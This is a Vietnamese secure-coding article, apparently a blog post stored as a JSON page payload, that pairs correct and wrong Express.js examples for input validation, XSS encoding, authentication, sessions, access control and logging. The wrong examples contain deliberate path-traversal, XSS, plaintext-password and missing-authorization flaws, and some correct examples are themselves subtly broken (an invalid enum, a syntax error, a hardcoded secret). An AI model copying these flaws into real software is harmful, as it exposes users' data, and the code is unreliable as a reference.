[{"data":1,"prerenderedAt":1141},["ShallowReactive",2],{"news-item-\u002Fvi\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan":3},{"id":4,"title":5,"body":6,"category":1128,"created by":1129,"date":1130,"description":1131,"extension":1132,"meta":1133,"navigation":1134,"path":1135,"sections":1136,"seo":1137,"stem":1138,"thumbnail":1139,"__hash__":1140},"content_vi\u002Fvi\u002Fnews\u002Fsecure-coding-va-cac-phuong-phap-tot-nhat-de-xay-dung-ung-dung-an-toan.md","SECURE CODING VÀ CÁC PHƯƠNG PHÁP TỐT NHẤT ĐỂ XÂY DỰNG ỨNG DỤNG AN TOÀN",{"type":7,"value":8,"toc":1100},"minimark",[9,14,18,21,25,28,50,53,57,62,65,68,71,74,82,93,96,101,107,110,114,124,127,130,132,137,143,146,151,157,160,164,167,170,173,176,179,182,185,188,191,194,197,199,204,210,213,216,219,223,229,231,234,237,241,244,247,250,253,256,259,261,265,271,274,278,284,287,291,294,297,300,303,306,309,312,315,317,321,327,330,334,340,343,347,350,353,373,376,379,382,385,388,390,394,400,403,407,413,416,420,423,426,429,432,435,438,441,443,447,453,456,460,466,469,473,476,479,482,485,488,490,494,500,508,512,518,529,533,536,539,542,545,548,551,554,556,560,566,569,573,579,582,586,589,592,595,598,601,604,607,610,612,616,622,625,629,635,638,642,645,648,651,654,657,660,663,665,669,675,678,682,688,691,695,699,702,705,711,714,720,723,726,732,735,740,751,755,758,761,808,812,823,829,832,835,838,844,847,853,856,862,865,870,873,879,882,888,891,897,901,941,947,950,953,956,962,965,968,971,977,980,983,986,994,997,1001,1015,1019,1022,1024,1032,1035,1038,1042,1053,1057,1060,1064,1070,1076,1082,1088,1094],[10,11,13],"h2",{"id":12},"giới-thiệu-về-secure-coding","Giới thiệu về secure coding",[15,16,17],"p",{},"Secure coding là quá trình viết mã nguồn có tính bảo mật cao, tránh tối đa các lỗ hổng để ngăn chặn các cuộc tấn công từ kẻ xâm nhập hoặc hackers, tập trung vào việc viết mã và phát triển ứng dụng một cách an toàn.",[15,19,20],{},"Mã không an toàn là nguồn gốc chính của nhiều vấn đề bảo mật trong phần mềm. Các lỗi trong mã có thể dẫn đến các vấn đề nghiêm trọng như lỗ hổng bảo mật, xâm nhập, truy cập trái phép vào dữ liệu và thậm chí gây tổn hại đến hệ thống và người dùng. Secure coding đảm bảo rằng các ứng dụng và hệ thống được viết một cách chính xác và an toàn từ giai đoạn phát triển đến triển khai.",[10,22,24],{"id":23},"tại-sao-secure-coding-quan-trọng","Tại sao secure coding quan trọng?",[15,26,27],{},"Secure coding là một khía cạnh vô cùng quan trọng trong lĩnh vực phát triển phần mềm vì nó đóng vai trò quan trọng trong việc bảo vệ ứng dụng và hệ thống khỏi các cuộc tấn công và lỗ hổng bảo mật. Dưới đây là một số lý do vì sao secure coding quan trọng:",[29,30,31,35,38,41,44,47],"ol",{},[32,33,34],"li",{},"Bảo vệ dữ liệu: Secure coding giúp bảo vệ dữ liệu của người dùng và tổ chức tránh khỏi việc truy cập trái phép, thay đổi hoặc đánh cắp thông tin quan trọng. Nếu ứng dụng không được viết an toàn, thông tin nhạy cảm có thể bị tiết lộ và dẫn đến hậu quả nghiêm trọng, bao gồm mất mát tài sản, danh tiếng tổ chức, và vi phạm quy định về bảo mật dữ liệu.",[32,36,37],{},"Ngăn chặn các cuộc tấn công: Secure coding giúp giảm thiểu khả năng bị tấn công từ các kẻ xâm nhập hoặc hackers. Bằng cách xử lý và lọc dữ liệu đầu vào, chúng ta có thể ngăn chặn các cuộc tấn công phổ biến như SQL injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Command Injection, Cross-Site Script Inclusion (XSSI), Server-Side Request Forgery (SSRF)…",[32,39,40],{},"Đảm bảo tính sẵn sàng và đáng tin cậy: Ứng dụng được viết bằng secure coding sẽ hoạt động ổn định và đáng tin cậy hơn. Hạn chế tối đa lỗi và lỗ hổng bảo mật giúp ứng dụng tránh được các sự cố không mong muốn, duy trì tính sẵn sàng của hệ thống.",[32,42,43],{},"Giảm thiểu thiệt hại: Một ứng dụng không được viết an toàn có thể bị tấn công và gây ra thiệt hại nghiêm trọng cho hệ thống và người dùng. Việc thực hiện secure coding giúp giảm thiểu rủi ro và mức độ thiệt hại trong trường hợp bị tấn công.",[32,45,46],{},"Tuân thủ các quy định và tiêu chuẩn bảo mật: Secure coding giúp đáp ứng các tiêu chuẩn và yêu cầu bảo mật của tổ chức và ngành công nghiệp. Nhiều lĩnh vực, như chăm sóc sức khỏe và tài chính, có những yêu cầu nghiêm ngặt về bảo mật và bảo vệ dữ liệu. Việc áp dụng secure coding là cần thiết để tuân thủ các quy định này và tránh bị phạt vì vi phạm quyền riêng tư và bảo mật.",[32,48,49],{},"Xây dựng niềm tin và danh tiếng: Sự an toàn và bảo mật của ứng dụng góp phần tạo dựng niềm tin và danh tiếng tích cực cho tổ chức. Người dùng và khách hàng sẽ tin tưởng hơn vào ứng dụng họ sử dụng nếu ứng dụng đó an toàn.",[15,51,52],{},"Tóm lại, mã hóa an toàn là yếu tố cốt lõi trong việc bảo vệ các ứng dụng và hệ thống khỏi các cuộc tấn công và lỗ hổng bảo mật. Điều này giúp đảm bảo tính bảo mật và độ tin cậy của phần mềm, giúp bảo vệ dữ liệu của người dùng và tổ chức, đồng thời đáp ứng các yêu cầu và tiêu chuẩn bảo mật.",[10,54,56],{"id":55},"các-nguyên-tắc-và-phương-pháp-quan-trọng-trong-secure-coding","Các nguyên tắc và phương pháp quan trọng trong secure coding",[58,59,61],"h3",{"id":60},"input-validation","Input Validation",[15,63,64],{},"Tất cả dữ liệu đầu vào cần được kiểm tra cả client và server trước khi thực hiện các tác vụ khác.",[15,66,67],{},"Xác thực dữ liệu thất bại nên được xử lý từ chối luôn và không thực hiện các xử lý tiếp theo. Trả về thông báo về việc nhập dữ liệu không hợp lệ để người dùng biết.",[15,69,70],{},"Các xử lý điều hướng lấy data ví dụ như GET file thì không được xử lý lấy trực tiếp tên file từ input của người dùng, mà nên lấy thông qua hằng số như file_id.",[15,72,73],{},"Dưới đây là đoạn mã Nodejs sử dụng framework Express.js.",[15,75,76,77,81],{},"+ ",[78,79,80],"strong",{},"Chương trình đúng",":",[83,84,89],"pre",{"className":85,"code":87,"language":88},[86],"language-text","const express = require('express'); \nconst fs = require('fs\u002Fpromises'); \nconst app = express(); \nconst port = 3000;\n \nenum File {\n  1: 'example.txt',\n  2: 'example2.txt'\n}\n \n\u002F\u002F Route để lấy dữ liệu từ file\napp.get('\u002Ffile', async (req, res) => { \n  if (isNaN(req.query.fileId)) {\n    return res.status(400).send('fileId phải là giá trị số'); \n  }\n \n  try { \n    const filePath = `.\u002Ffiles\u002F${File[req.query.fileId]}`;  \n \n    \u002F\u002F Đọc nội dung của file\n    const fileContent = await fs.readFile(filePath, 'utf-8'); \n \n    res.status(200).send(fileContent); \n  } catch (error) { \n    res.status(500).send('Đã xảy ra lỗi khi đọc file.'); \n  } \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n\n","text",[90,91,87],"code",{"__ignoreMap":92},"",[15,94,95],{},"Trong ví dụ này, chúng ta sử dụng fileId của người dùng gửi lên để lấy file path mà chúng ta muốn truy cập. Điều này giúp đảm bảo rằng chúng ta không trực tiếp lấy tên file từ dữ liệu người dùng, từ đó tránh các vấn đề về bảo mật như lỗ hổng truy cập không mong muốn.",[15,97,76,98,81],{},[78,99,100],{},"Chương trình sai",[83,102,105],{"className":103,"code":104,"language":88},[86],"const express = require('express'); \nconst fs = require('fs\u002Fpromises'); \nconst app = express(); \nconst port = 3000;  \n \n\u002F\u002F Route để lấy dữ liệu từ file \napp.get('\u002Ffile', async (req, res) => {  \n  try {  \n    \u002F\u002F Sử dụng tên file từ input của người dùng và đọc nội dung của file\n    const fileContent = await fs.readFile(req.body.fileName, 'utf-8'); \n \n    res.status(200).send(fileContent); \n  } catch (error) { \n    res.status(500).send('Đã xảy ra lỗi khi đọc file.'); \n  } \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,106,104],{"__ignoreMap":92},[15,108,109],{},"Trong ví dụ này, chúng ta đã sử dụng tên file từ dữ liệu người dùng cung cấp. Điều này sẽ bị các vấn đề về bảo mật như lỗ hổng truy cập không mong muốn.",[58,111,113],{"id":112},"output-encoding","Output Encoding",[15,115,116,117,123],{},"Tất cả dữ liệu đầu ra cần được encode có thể sử dụng HTML entity encoding ",[118,119],"a",{"href":120,"rel":121},"https:\u002F\u002Fowasp.org\u002Fwww-pdf-archive\u002FOWASP_SCP_Quick_Reference_Guide_v2.pdf#page=16&zoom=100,82,298",[122],"nofollow","để thực hiện việc encode dữ liệu để chống lại lỗ hổng Cross-site Scripting (XSS).",[15,125,126],{},"Làm sạch loại bỏ các dữ liệu liên quan đến cách lệnh của hệ điều hành để tránh các lỗi liên quan đến Command injection.",[15,128,129],{},"Loại bỏ các dữ liệu khi hiển thị đối với dữ liệu là các truy vấn SQL giúp chống lại các lỗ hổng liên quan đến SQL Injection.",[15,131,73],{},[15,133,134],{},[78,135,136],{},"+ Chương trình đúng",[83,138,141],{"className":139,"code":140,"language":88},[86],"const express = require('express'); \nconst escapeHtml = require('escape-html');\nconst app = express(); \nconst port = 3000; \n \napp.get('\u002FcustomerProfile', (req, res) => { \n  const customer = { \n    name: \"test\", \n    note: \"\u003Cscript>alert('XSS attack!');\u003C\u002Fscript>\" \n  }; \n \n  const encodedCustomerNote = escapeHtml(customer.note);\n \n  res.send(` \n    \u003Ch1>Xin chào, ${customer.name}!\u003C\u002Fh1> \n    \u003Cp>${encodedCustomerNote}\u003C\u002Fp> `\n  ); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n\n",[90,142,140],{"__ignoreMap":92},[15,144,145],{},"Trong đoạn mã trên, chúng ta đã sử dụng thư viện escape-html để mã hóa nội dung của customer.note trước khi đưa vào HTML. Điều này đảm bảo rằng bất kỳ mã JavaScript độc hại nào cũng sẽ được mã hóa và hiển thị dưới dạng văn bản thông thường, không thể thực thi.",[15,147,148],{},[78,149,150],{},"+ Chương trình sai",[83,152,155],{"className":153,"code":154,"language":88},[86],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\napp.get('\u002FcustomerProfile', (req, res) => { \n const customer = { \n   name: \"test\", \n   note: \"\u003Cscript>alert('XSS attack!');\u003C\u002Fscript>\" \n }; \n \n res.send(` \n   \u003Ch1>Xin chào, ${customer.name}!\u003C\u002Fh1> \n   \u003Cp>${customer.note}\u003C\u002Fp> `\n ); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,156,154],{"__ignoreMap":92},[15,158,159],{},"Trong đoạn mã trên, chúng ta đang trả về thông tin cá nhân của khách hàng. Tuy nhiên, biến customer.note chứa một đoạn mã JavaScript độc hại và đoạn mã này sẽ được thực thi khi trình duyệt hiển thị nó, gây ra cuộc tấn công XSS.",[58,161,163],{"id":162},"authentication-and-password-management","Authentication and Password Management",[15,165,166],{},"Cần xác thực đối với các tài nguyên quan trọng không được phép truy cập public. Những tài nguyên public như: css, js... thì không cần xác thực.",[15,168,169],{},"Có thể sử dụng cơ chế authentication được cung cấp sẵn như: Oauth2 hoặc Google authication, Facebook authentication,…",[15,171,172],{},"Cần mã hóa password có thể sử dụng thư viện uy tín được cung cấp sẵn.",[15,174,175],{},"Khi đăng nhập, nếu người dùng nhập username hay password sai thì thay vì thông báo cụ thể là \"người dùng nhập sai thông tin username\" hay \"người dùng nhập sai thông tin password\" chỉ cần thông báo rằng \"người dùng nhập sai thông tin đăng nhập\" để tránh việc thu thập thông tin từ hackers.",[15,177,178],{},"Cần được triển khai cơ chế xác thực trước khi các hệ thống bên ngoài kết nối tới hệ thống của chúng ta để lấy dữ liệu (qua api, web service…).",[15,180,181],{},"Sử dụng HTTP POST cho các yêu cầu xác thực và mật khẩu hiển thị dưới dạng *** không đọc được.",[15,183,184],{},"Nên sử dụng mật khẩu mạnh cho tài khoản như: Có ít nhất 1 chữ hoa, 1 chữ thường, 1 số, 1 ký tự đặc biệt và độ dài tối thiểu 8 ký tự.",[15,186,187],{},"Link reset mật khẩu nên để thời gian expiration ngắn.",[15,189,190],{},"Cần thiết lập cơ chế xác thực 2FA cho các tác vụ quan trọng.",[15,192,193],{},"Thiết lập tần suất đổi mật khẩu và cơ chế chống việc sử dụng lại mật khẩu.",[15,195,196],{},"Yêu cầu đổi mật khẩu tạm thời trong lần đăng nhập đầu tiên và thiết lập cơ chế khóa tài khoản sau một số lần nhập sai thông tin xác thực.",[15,198,73],{},[15,200,201,202],{}," ",[78,203,136],{},[83,205,208],{"className":206,"code":207,"language":88},[86],"const express = require('express'); \nconst bcrypt = require('bcrypt'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng \nconst users = []; \n \napp.use(express.json()); \n \n\u002F\u002F Đăng ký người dùng \napp.post('\u002Fregister', async (req, res) => {\n const { username, password } = req.body; \n \n \u002F\u002F Kiểm tra xem người dùng đã tồn tại chưa \n if (users.find(user => user.username === username)) {\n   return res.status(400).json({ error: 'Người dùng đã tồn tại.' }); \n } \n \n \u002F\u002F Mã hóa mật khẩu trước khi lưu vào cơ sở dữ liệu \n const hashedPassword = await bcrypt.hash(password, 10); \n \n \u002F\u002F Lưu thông tin người dùng vào cơ sở dữ liệu \n users.push({ username, password: hashedPassword }); \n  \n return res.status(201).json({ message: 'Đăng ký thành công.' }); \n}); \n \n\u002F\u002F Đăng nhập \napp.post('\u002Flogin', async (req, res) => { \n const { username, password } = req.body; \n \n \u002F\u002F Tìm người dùng trong cơ sở dữ liệu \n const user = users.find(user => user.username === username); \n if (!user) { \n  return res.status(401).json({ error: 'Người dùng nhập sai thông tin đăng nhập.' }); \n } \n \n \u002F\u002F So sánh mật khẩu đã mã hóa \n const isPasswordValid = await bcrypt.compare(password, user.password); \n if (!isPasswordValid) { \n  return res.status(401).json({ error: 'Người dùng nhập sai thông tin đăng nhập.' }); \n } \n\n return res.status(200).json({ message: 'Đăng nhập thành công.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,209,207],{"__ignoreMap":92},[15,211,212],{},"Trong đoạn mã trên:",[15,214,215],{},"khi người dùng đăng ký thì mật khẩu được mã hóa trước khi lưu vào cơ sở dữ liệu đảm bảo rằng mật khẩu không được lưu dưới dạng văn bản thông thường trong cơ sở dữ liệu, giúp tăng cường bảo mật của ứng dụng.",[15,217,218],{},"Khi người dùng đăng nhập, chúng ta kiểm tra mật khẩu đã nhập bằng cách so sánh với mật khẩu đã mã hóa trong cơ sở dữ liệu và nếu người dùng có nhập sai username hoặc password thì sẽ xuất message chung 'Người dùng nhập sai thông tin đăng nhập.' để tránh việc thu thập thông tin từ hackers.",[15,220,201,221],{},[78,222,150],{},[83,224,227],{"className":225,"code":226,"language":88},[86],"const express = require('express'); \nconst bcrypt = require('bcrypt'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng \nconst users = []; \n\napp.use(express.json()); \n\n\u002F\u002F Đăng ký người dùng \napp.post('\u002Fregister', async (req, res) => {\n const { username, password } = req.body; \n\n \u002F\u002F Kiểm tra xem người dùng đã tồn tại chưa \n if (users.find(user => user.username === username)) {\n  return res.status(400).json({ error: 'Người dùng đã tồn tại.' }); \n } \n\n \u002F\u002F Lưu thông tin người dùng không có mã hóa password vào cơ sở dữ liệu\n users.push({ username, password}); \n \n return res.status(201).json({ message: 'Đăng ký thành công.' }); \n}); \n\n\u002F\u002F Đăng nhập \napp.post('\u002Flogin', async (req, res) => { \n const { username, password } = req.body; \n\n \u002F\u002F Tìm người dùng trong cơ sở dữ liệu \n const user = users.find(user => user.username === username); \n if (!user) { \n  return res.status(401).json({ error: 'Người dùng nhập sai thông tin username.' }); \n } \n\n \u002F\u002F So sánh mật khẩu\n if (password !== user.password) { \n  return res.status(401).json({ error: 'Người dùng nhập sai thông tin password' }); \n } \n\n return res.status(200).json({ message: 'Đăng nhập thành công.' }); \n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,228,226],{"__ignoreMap":92},[15,230,212],{},[15,232,233],{},"khi người dùng đăng ký thì mật khẩu không được mã hóa trước khi lưu vào cơ sở dữ liệu và vi phạm tính bảo mật của ứng dụng.",[15,235,236],{},"Khi người dùng đăng nhập và nhập sai thông tin username hoặc password thì đang bị vấn đề bảo mật là báo lỗi cụ thể như:  \"Người dùng nhập sai thông tin username.\" hay \"Người dùng nhập sai thông tin password\".",[58,238,240],{"id":239},"session-management","Session Management",[15,242,243],{},"Việc tạo ra session sử dụng các định danh phải đảm bảo được tính ngẫu nhiên, tránh được các cuộc tấn công dò tìm hoặc đoán session.",[15,245,246],{},"Khi đăng xuất thì cần kết thúc phiên ngay lập tức.",[15,248,249],{},"Chức năng đăng xuất phải có ở tất cả các trang đã được xác thực giúp người dùng có thể đăng xuất bất cứ khi nào khi đã xác thực thành công.",[15,251,252],{},"Không cho phép session tồn tại đồng thời với cùng 1 người dùng để đảm bảo hạn chế các truy cập trái phép.",[15,254,255],{},"khi xác thực lại vẫn cần đảm bảo tạo ra một session với định danh mới để đảm bảo không trùng với phiên cũ.",[15,257,258],{},"Nên thiết lập thời gian tồn tại cho một session.",[15,260,73],{},[15,262,263],{},[78,264,136],{},[83,266,269],{"className":267,"code":268,"language":88},[86],"const express = require('express'); \nconst session = require('express-session'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Sử dụng session middleware \napp.use(session({ \n secret: 'secretKey', \n resave: true, \n saveUninitialized: true,\n cookie: { maxAge: 86400000) }\n})); \n \napp.use(express.json()); \n \n\u002F\u002F Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng \nconst users = [ { username: 'test', password: 'password_hash' } ]; \n \n\u002F\u002F Kiểm tra xem người dùng đã đăng nhập chưa \nfunction isAuthenticated(req, res, next) { \n if (req.session && req.session.username) { \n  return next(); \n }\n return res.status(401).json({ error: 'Bạn cần đăng nhập để tiếp tục.' }); \n} \n \n\u002F\u002F Đăng nhập \napp.post('\u002Flogin', (req, res) => { \n const { username, password } = req.body; \n const user = users.find(user => user.username === username); \n if (!user || user.password !== password) { \n  return res.status(401).json({ error: 'Sai tên người dùng hoặc mật khẩu.' }); \n } \n \n req.session.username = username; \n return res.status(200).json({ message: 'Đăng nhập thành công.' }); \n}); \n  \n\u002F\u002F Hiển thị thông tin người dùng sau khi đăng nhập \napp.get('\u002Fprofile', isAuthenticated, (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `Thông tin cá nhân: ${username}`}); \n}); \n \n\u002F\u002F Đăng xuất \napp.post('\u002Flogout', isAuthenticated, (req, res) => { \n req.session.destroy(); \n return res.status(200).json({ message: 'Đăng xuất thành công.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,270,268],{"__ignoreMap":92},[15,272,273],{},"Trong ví dụ trên, khi người dùng đăng nhập thành công, chúng ta lưu thông tin tên người dùng vào session và thiết lập thời gian tồn tại là 1 ngày. Các routes \u002Fprofile và \u002Flogout yêu cầu người dùng đã đăng nhập để truy cập và chúng ta kiểm tra thông tin session để xác minh trạng thái đăng nhập. Khi người dùng đăng xuất chúng ta sẽ kết thúc session này và sẽ tạo lại session mới khi người dùng đăng nhập trở lại.",[15,275,276],{},[78,277,150],{},[83,279,282],{"className":280,"code":281,"language":88},[86],"const express = require('express'); \nconst session = require('express-session'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F Sử dụng session middleware \napp.use(session({ \n secret: 'secretKey', \n resave: false, \n saveUninitialized: false,\n})); \n\napp.use(express.json()); \n\n\u002F\u002F Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng \nconst users = [ { username: 'test', password: 'password_hash' } ]; \n\n\u002F\u002F Kiểm tra xem người dùng đã đăng nhập chưa \nfunction isAuthenticated(req, res, next) { \n if (req.session && req.session.username) { \n  return next(); \n }\n return res.status(401).json({ error: 'Bạn cần đăng nhập để tiếp tục.' }); \n} \n\n\u002F\u002F Đăng nhập \napp.post('\u002Flogin', (req, res) => { \n const { username, password } = req.body; \n const user = users.find(user => user.username === username); \n if (!user || user.password !== password) { \n  return res.status(401).json({ error: 'Sai tên người dùng hoặc mật khẩu.' }); \n } \n\n req.session.username = username; \n return res.status(200).json({ message: 'Đăng nhập thành công.' }); \n}); \n\n\u002F\u002F Hiển thị thông tin người dùng sau khi đăng nhập \napp.get('\u002Fprofile', isAuthenticated, (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `Thông tin cá nhân: ${username}`}); \n}); \n\n\u002F\u002F Đăng xuất \napp.post('\u002Flogout', isAuthenticated, (req, res) => {  \n return res.status(200).json({ message: 'Đăng xuất thành công.' }); \n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,283,281],{"__ignoreMap":92},[15,285,286],{},"Trong ví dụ trên, khi người dùng đăng nhập thành công, chúng ta lưu thông tin tên người dùng vào session và không thiết lập thời gian kết thúc session. Khi người dùng đăng xuất  đã không hủy session và session này luôn luôn tồn tại.",[58,288,290],{"id":289},"access-control","Access Control",[15,292,293],{},"Thực hiện kiểm tra quyền truy cập với tất cả các request được gửi đi bao gồm cả request gửi bằng HTTP request, Ajax để đảm bảo việc phân quyền luôn được thực hiện đúng với tài khoản được phân quyền tương ứng. Tránh việc truy cập tới tài nguyên không được phép.",[15,295,296],{},"Cần thực hiện phân quyền tập trung, dễ quản lý và không bị ảnh hưởng bới logic của các đoạn code thực hiện chức năng của web.",[15,298,299],{},"Cần giới hạn quyền truy cập vào các tài nguyên quan trọng cho những người dùng được phân quyền.",[15,301,302],{},"Ứng dụng cần có tài liệu rõ ràng về chính sách quyền truy cập.",[15,304,305],{},"Khi có thay đổi về quyền hoặc thay đổi về logic nghiệp vụ liên quan đến quyền truy cập thì cần thực hiện vô hiệu hóa tài khoản và kết thúc phiên. Chỉ khi nào người dùng login lại thì mới cho tài khoản tiếp tục sử dụng.",[15,307,308],{},"Triển khai cơ chế khóa tài khoản tạm thời sau một khoảng thời gian không sử dụng.",[15,310,311],{},"Nếu dữ liệu của người dùng cần lưu trữ tại phía client thì cần mã hóa và được kiểm tra tính toàn vẹn trên server.",[15,313,314],{},"Thực hiện đúng nguyên tắc phân quyền tới đúng người, đúng quyền. Chỉ người dùng được phép mới có quyền truy cập tới tài nguyên nhất định trên hệ thống.",[15,316,73],{},[15,318,319],{},[78,320,136],{},[83,322,325],{"className":323,"code":324,"language":88},[86],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng\nconst users = [ \n  { username: 'user1', role: 'admin' }, \n  { username: 'user2', role: 'user' } \n]; \n \n\u002F\u002F Middleware kiểm tra vai trò của người dùng \nfunction checkRole(role) { \n  return (req, res, next) => { \n    const user = users.find(user => user.username === req.session.username); \n     \n    if (user && user.role === role) { \n      return next(); \n    } \n    return res.status(403).json({ error: 'Bạn không có quyền truy cập.' }); \n  }; \n} \n \napp.use(express.json()); \n \napp.get('\u002Fprofile', (req, res) => { \n  const username = req.session.username; \n  return res.status(200).json({message: `Thông tin cá nhân: ${username}`});\n}); \n \napp.get('\u002Fadmin', checkRole('admin'), (req, res) => { \n  return res.status(200).json({ message: 'Trang quản lý.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,326,324],{"__ignoreMap":92},[15,328,329],{},"Trong ví dụ trên, chúng ta đã sử dụng một middleware checkRole để kiểm tra vai trò của người dùng. Route \u002Fprofile cho phép tất cả người dùng truy cập. Route \u002Fadmin yêu cầu vai trò \"admin\" và chỉ cho phép người dùng với vai trò \"admin\" truy cập vào trang quản lý. Nếu không có quyền họ sẽ nhận một mã trạng thái 403 (Forbidden).",[15,331,332],{},[78,333,150],{},[83,335,338],{"className":336,"code":337,"language":88},[86],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Giả sử đây là cơ sở dữ liệu lưu trữ thông tin người dùng\nconst users = [ \n  { username: 'user1', role: 'admin' }, \n  { username: 'user2', role: 'user' } \n]; \n \napp.use(express.json()); \n \napp.get('\u002Fprofile', (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `Thông tin cá nhân: ${username}`});\n}); \n \napp.get('\u002Fadmin', (req, res) => { \n return res.status(200).json({ message: 'Trang quản lý.' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,339,337],{"__ignoreMap":92},[15,341,342],{},"Trong ví dụ trên, route \u002Fprofile và  \u002Fadmin đều cho phép tất cả người dùng truy cập và không có phân quyền. Điều này sẽ rất nguy hiểm vì trang admin sẽ bị truy cập trái phép bởi người dùng có role=\"user\".",[58,344,346],{"id":345},"error-handling-and-logging","Error Handling and Logging",[15,348,349],{},"Cần thông báo lỗi chung và tiến hành định nghĩa các trang thông báo lỗi để trả về khi trang web gặp lỗi. Tránh sử dụng các trang thông báo lỗi mặc định của framework vì các trang thông báo này thường chứa nhiều thông tin liên quan đến ứng dụng và phiên bản.",[15,351,352],{},"Log cần ghi lại tất cả các sự kiện quan trọng như sau:",[29,354,355,358,361,364,367,370],{},[32,356,357],{},"Ghi lại tất cả các lỗi xác thực đầu vào",[32,359,360],{},"Ghi nhật ký tất cả các ngoại lệ của hệ thống",[32,362,363],{},"Ghi lại tất cả các lỗi kiểm soát truy cập",[32,365,366],{},"Ghi lại tất cả các lần xác thực, đặc biệt là các lần thất bại",[32,368,369],{},"Ghi log toàn bộ sự kiện cố gắng đăng nhập nhiều lần hoặc phiên làm việc hết hạn",[32,371,372],{},"Ghi nhật ký tất cả các chức năng quản trị",[15,374,375],{},"Không lưu trữ thông tin nhạy cảm trong log, bao gồm các chi tiết hệ thống không cần thiết, thông tin phiên bản phần mềm hoặc mật khẩu người dùng.",[15,377,378],{},"Chỉ giới hạn quyền truy cập vào log cho các user được cấp quyền.",[15,380,381],{},"Đảm bảo log chứa dữ liệu những event quan trọng như: thời gian xảy ra sự kiện, mức độ nghiêm trọng cho từng sự kiện, tag cho từng event, thông tin tài khoản thực hiện event, source ip, dest ip, mô tả sự kiện…",[15,383,384],{},"Các thông tin về xử lý lỗi cần ghi lại cả thông tin về các events thành công và thất bại giúp truy vết khi có vấn đề xảy ra.",[15,386,387],{},"Không để lộ thông tin nhạy cảm trong các phản hồi lỗi từ trang web, bao gồm chi tiết hệ thống, phiên bản của ứng dụng hoặc thông tin tài khoản.",[15,389,73],{},[15,391,392],{},[78,393,136],{},[83,395,398],{"className":396,"code":397,"language":88},[86],"const express = require('express'); \nconst winston = require('winston'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Thiết lập logger \nconst logger = winston.createLogger({ \n  level: 'info', \n  format: winston.format.simple(), \n  transports: [ \n    new winston.transports.Console(), \n    new winston.transports.File({ filename: 'error.log', level: 'error' }) \n  ] \n}); \n \n\u002F\u002F Middleware để xử lý lỗi \napp.use((err, req, res, next) => { \n  logger.error(err.stack); \n  res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n}); \n \n\u002F\u002F Route có gây ra lỗi \napp.get('\u002Ferror', (req, res, next) => { \n  const error = new Error('message error'); \n  next(error); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,399,397],{"__ignoreMap":92},[15,401,402],{},"Trong ví dụ trên, chúng ta đã sử dụng thư viện winston để tạo logger và thiết lập logger để log thông tin lỗi và lưu trữ vào tập tin \"error.log\". Route \u002Ferror được sử dụng để minh họa việc có lỗi xảy ra. Trong route này, chúng ta tạo một lỗi bất kỳ và gọi hàm next() để chuyển lỗi đến middleware xử lý lỗi.  Việc sử dụng logger giúp chúng ta có dễ dàng quản lý ứng dụng của mình hơn.",[15,404,405],{},[78,406,150],{},[83,408,411],{"className":409,"code":410,"language":88},[86],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F Middleware để xử lý lỗi \napp.use((err, req, res, next) => { \n  res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n}); \n \n\u002F\u002F Route có gây ra lỗi \napp.get('\u002Ferror', (req, res, next) => { \n const error = new Error('message error'); \n next(error); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[90,412,410],{"__ignoreMap":92},[15,414,415],{},"Trong ví dụ trên, không  sử dụng thư viện winston để tạo logger và để ghi log lại lỗi khi xảy ra. Khi chương trình có một vấn đề lỗi nào đó thì rất khó có thể điều tra và khắc phục.",[58,417,419],{"id":418},"data-protection","Data Protection",[15,421,422],{},"Tắt các tính năng tự động hoàn thành username và password trên trình duyệt.",[15,424,425],{},"Không gửi thông tin nhạy cảm trong các tham số yêu cầu HTTP GET như: username, password, token, session_id…",[15,427,428],{},"Xóa tất cả các comments không cần thiết trong mã nguồn như các đoạn comments có thể chứa thông tin truy cập của người dùng hay database hoặc có thể tiết lộ các thông tin nhạy cảm khác của hệ thống.",[15,430,431],{},"Thực hiện phân quyền tài khoản theo đúng chức năng giúp hạn chế các truy cập trái phép hoặc nhầm lẫn gây thất thoát dữ liệu.",[15,433,434],{},"Bảo vệ mã nguồn phía máy chủ không bị người dùng tải xuống bằng việc phân quyền thư mục mã nguồn, không để lộ source code và đường dẫn lưu trữ source code.",[15,436,437],{},"Thực hiện các kiểm soát truy cập thích hợp cho dữ liệu nhạy cảm được lưu trữ trên máy chủ.",[15,439,440],{},"Tắt bộ nhớ đệm phía máy khách trên các trang chứa thông tin nhạy cảm có thể sử dụng: Cache-Control: no-store trong HTTP 